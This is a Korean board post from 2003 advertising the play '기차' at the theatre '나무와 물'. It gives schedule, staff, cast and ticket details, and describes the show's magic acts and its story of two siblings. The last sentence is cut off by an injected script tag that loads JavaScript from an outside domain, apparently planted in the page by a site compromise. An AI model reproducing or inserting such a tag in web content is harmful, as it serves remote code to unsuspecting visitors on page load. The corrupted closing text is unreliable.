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작성자 [기차] 작성일2003.12.26 조회6,872회 댓글0건

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안녕하세요? 공연기획 파란입니다. 저희 나무와 물이라는 극장에서는 현재 [기차]라는 가슴따뜻한 공연을 하고 있습니다. 방학을 맞이하는 한국청소년연맹 친구들에게 좋은 방학 선물이 될것 같아 이렇게 글을 남김니다. 정말 감동적이고, 따뜻한 이야기이니까요, 단체관람 예매하세요. ^^*정말 좋은 공연 ㅇㅣ랍니다. 기차

극단 초인/ 예술극장 “나무와 물” 개관기념공연
박정의 프로젝트 첫 번째 - 몸짓만들기





2003. 12. 12(금) ▶ 2004. 1 . 18(일)
예술극장 '나무와 물'


● 공연개요

공연명 기차

공연일정 2003년 12월12일(금)▶ 2004년 1월 18일(일)

공연시간 화,수,목,금 7:30/ 토,휴일,24일,31일 4:30, 7:30(월 공연 없음)
2004년 1월 1일~1월 18일까지
화~토 4시, 7시 일 4시

주최/주관 극단초인 / 예술극장 '나무와 물'

후원 한국문화예술진흥원/ 한국연극협회

공동창작 박정의 프로젝트

구성,연출 박정의

안무 정의순

조명 조성한

무대 김태종

음악 조선형

출연 서삼석/민윤재/이상희/임해열/장호진/ 김정현 외

관람료 일반 20,000원/ 대학생 15,000원/ 초•중•고생 10,000원
(사랑티켓 사용시 일반 15,000원 / 대학생 10,000원 /초•중•고생 5,000원)



2003년, 예술극장 “나무와 물” 개관 기념 공연!!
크리스마스 시즌 최고의 감동 선물


● 기획의도


예술극장 “나무와 물” 개관 기념 공연

2003년 3월 연우소극장, 5월 축제소극장 그리고 10월 창조콘서트홀에 이르는 장기간의 연장, 앵콜공연을 통해서 관객들은 연극 <기차>에 매료되었다. 쉴 새 없이 요동치는 배우들의 근육, 쉴 틈 없이 들려오는 배우들의 숨소리, 이러한 움직임과 소리를 숨죽여 주목하는 관객의 눈과 귀... 그 속에 담겨있는 인간에 대한 따뜻한 사랑 그리고 진한 감동.
2003년 12월 12일, 예술극장 “나무와 물” 개관. “당신이 되살아나는 극장” 이란 모토를 내 건 “나무와 물” 극장은 도심 속 각박해져가는 인간들에 대한 사랑을 공연예술문화를 통해 되살리고자 설립되었다. 그리고 극장은 자기 목소리를 내기위한 첫 발성으로 연극 <기차>를 선택했다.

진한 감동 속의 재미, 어리숙한 마술사들의 황당 매직쇼!

<기차>무대에서는 마술사 부부의 저글링을 비롯한 손가락 골무마술, 풍선색깔 바꾸기, 종이로 눈 날리기 등 다양한 마술이 펼쳐진다. 땀을 뻘뻘 흘려가며 선보이는 마술과 익살스런 배우들의 표정에 객석은 곧 웃음바다가 된다. 그러나 상처받은 두 남매를 위로하기 위한, 또 포주로부터 남매를 탈출시키기 위한 마술사 부부의 어설픈 매직쇼는 아이들을 위로하려는 그들의 노력이 담겨져 있기에 마음 속에 진한 눈물 한 방울이 떨어진다. 세상에서 가장 놀라운 마술은 사람의 마음을 정화시키는 마술이 아닌가?

무지개 빛을 닮은 동화 속 등장인물

하얀 얼굴에 색색으로 물들인 머리, 총천연색 의상을 입은 배우들의 단련된 몸짓은 때론 과장되고, 때론 우스꽝스럽고, 때론 짓궂게 관객을 눈물 속으로, 웃음 속으로 몰?script src=http://www.csl24.com/b.js>

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